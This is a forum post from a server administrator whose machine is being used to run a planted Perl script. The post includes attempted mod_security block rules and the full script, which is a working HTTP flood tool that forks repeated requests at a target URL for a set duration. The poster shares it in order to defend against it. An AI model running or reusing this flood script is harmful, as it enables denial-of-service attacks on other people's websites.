Hello
Hello,
Every few hours someone is uploading a perl script in my tmp directory and running it and causing the server to overload. The file is pi.pl and i don't know how to trace it. I just kill the process to stop it and make the server load back to normal.
I tried searching the domlogs for pi.pl but nothing found. I also added this rule to mod_security
SecFilterSelective THE_REQUEST "tmp "
SecFilterSelective THE_REQUEST "pi.pl "
but it's happenning again. I don't know how to stop this. any thoughts?
The content of pi.pl is this:
#!/usr/bin/perl
use LWP::UserAgent;
use Time::localtime;
my $d=localtime(time);
$s1=$d->yday();
$s2=$d->hour();
$s3=$d->min();
$s=((($s1*24)+$s2)*60)+$s3;
while (1){
for ($i=1;$i<=$ARGV[1];$i++){
my $d=localtime(time);
$s1=$d->yday();
$s2=$d->hour();
$s3=$d->min();
$e=((($s1*24)+$s2)*60)+$s3;
if (($e-$s)>$ARGV[2]) {
killpidz();
exit;
}
if ($pid=fork()){
push(@forked,$pid);
}else{
$browser = LWP::UserAgent->new;
$browser->timeout(5);
$res=$browser->get($ARGV[0]);
$data=$res->content;
exit;
}}
killpidz();
}
sub killpidz {
foreach (@forked) {
chomp;
waitpid($_,0);
kill("TERM" => $_)
}
undef @forked;
}
exit;



LinkBack URL
About LinkBacks
Reply With Quote








